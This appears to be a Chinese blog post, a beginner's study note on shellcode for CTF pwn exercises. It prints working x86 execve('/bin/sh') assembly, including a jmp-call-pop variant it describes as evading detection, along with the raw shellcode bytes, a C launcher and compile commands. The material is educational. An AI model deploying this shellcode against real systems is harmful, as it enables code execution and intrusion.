zoukankan      html  css  js  c++  java
  • 初识shellcode

      以前只是知道shellcode就是一段恶意代码,直到今天学习了shellcode的知识,才发现这东西真是博大精深。同时也学习到了一些新的指令,在这里记录一下。

      通常pwn题目就是为了拿到shell,目前我理解的system其实就是系统调用的一个封装。对于获取shell的获取,需要执行这么一个命令。

    execve("/bin/sh",null,null)

      这行代码用系统调用来执行,大概意思就是(这里用我理解的伪代码)int 0x80 (eax,ebx,ecx,edx......),意思就是,先把数据保存在寄存器中,然后调用int 0x80,就是调用了系统函数,网上有一份系统调用的表格,我挑几个常用的函数粘贴过来。

    %eax

    Name

    Source

    %ebx

    %ecx

    %edx

    %esx

    %edi

    1

    sys_exit

    kernel/exit.c

    int

    -

    -

    -

    -

    3

    sys_read

    fs/read_write.c

    unsigned int

    char *

    size_t

    -

    -

    4

    sys_write

    fs/read_write.c

    unsigned int

    const char *

    size_t

    -

    -

    5

    sys_open fs/open.c const char * int  int - -
    11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - -

     

      这里我们试着写一个常用的shellcode。

      假设0x400500这个地址存放着“/bin/sh”的字符串。

      

    1 mov eax,0xb
    2 lea ebx,[0x400500]
    3 mov ecx,0x0
    4 mov edx,0x0
    5 int 0x80

      这就是最简单的shellcode 了,有时候为了免杀,躲过一些保护。经常将shellcode写成其他形式的。例如这种:

     1 jmp sh
     2 run:
     3     pop ebx
     4     mov BYTE [ebp+7],0
     5     xor eax,eax
     6     mov al,11
     7     xor ecx,ecx
     8     xor edx,edx
     9     int 0x80
    10 sh:
    11     call run
    12     db"/bin/sh"

      我们试着来编写一个shellcode的文件,试试,顺便还能学习很多东西。

      编译汇编需要装一个nasm,用这个命令就可以(ubuntu):sudo apt-get install nasm

      编译的命令是:nasm a.asm -o a.o -felf32   

      生成a.o,这个文件其实是包含一些文件头呀什么乱七八杂的东西,并不是我们单纯输入的代码,这个时候用objcopy命令来去除那些没用的代码。命令是:objcopy -O binary a.o code

      我们来对比一个两个文件的大小,和看看里面的内容。

      

      明显的看出第一个比第二个代码量少了很多很多。

      顺便再学个命令:xxd可以用来显示一些二进制文件。加上参数 -i后显示是这样的。

      

       上面的这个代码有什么用呢。。。这里是可以套用一个模板,来生成可执行文件的。

      模板如下:

      

     1 unsigned char code[] = {
     2   0xeb, 0x0f, 0x5b, 0xc6, 0x45, 0x07, 0x00, 0x31, 0xc0, 0xb0, 0x0b, 0x31,
     3   0xc9, 0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xec, 0xff, 0xff, 0xff, 0x2f, 0x62,
     4   0x69, 0x6e, 0x2f, 0x73, 0x68
     5 };
     6 
     7 typedef int (*CODE)();
     8 
     9 int main(){
    10     ((CODE)code)();
    11 }

     

      code数组里面存的就是我们生成的shellcode。

      再用gcc的命令生成可执行文件试试,命令为:gcc code.c -o code -m32 -zexecstack

      看一下效果。

      

      当然还有一种方法,是将去除头文件信息的那个文件生成一个.h的头文件。

      命令如下:xdd -i scode > scode.h

      接下来就是写c代码了。代码很简单,和刚刚几乎一样。

      

    1 #include "code.h"
    2 
    3 typedef int (*CODE)();
    4 
    5 int main(){
    6 
    7     ((CODE)code)();
    8     
    9     }

      再次编译一下,发现还是可以拿到shell,好了,今天就到这里,感觉学到了很多。

  • 相关阅读:
    理想解法
    IEEExtreme 2021
    day_1-python前期学习准备篇
    电梯模拟C++
    java线程_01——————————HelloWorld例子
    Unknown tag (c:forEach) 未知的标签
    自动生成Junit单元测试的插件 CodeProAnalytix
    Log4j笔记----01
    Springboot学习笔记_helloWorld篇
    支持开源,崇尚技术,追求真理,充实人生
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12482307.html
Copyright © 2011-2022 走看看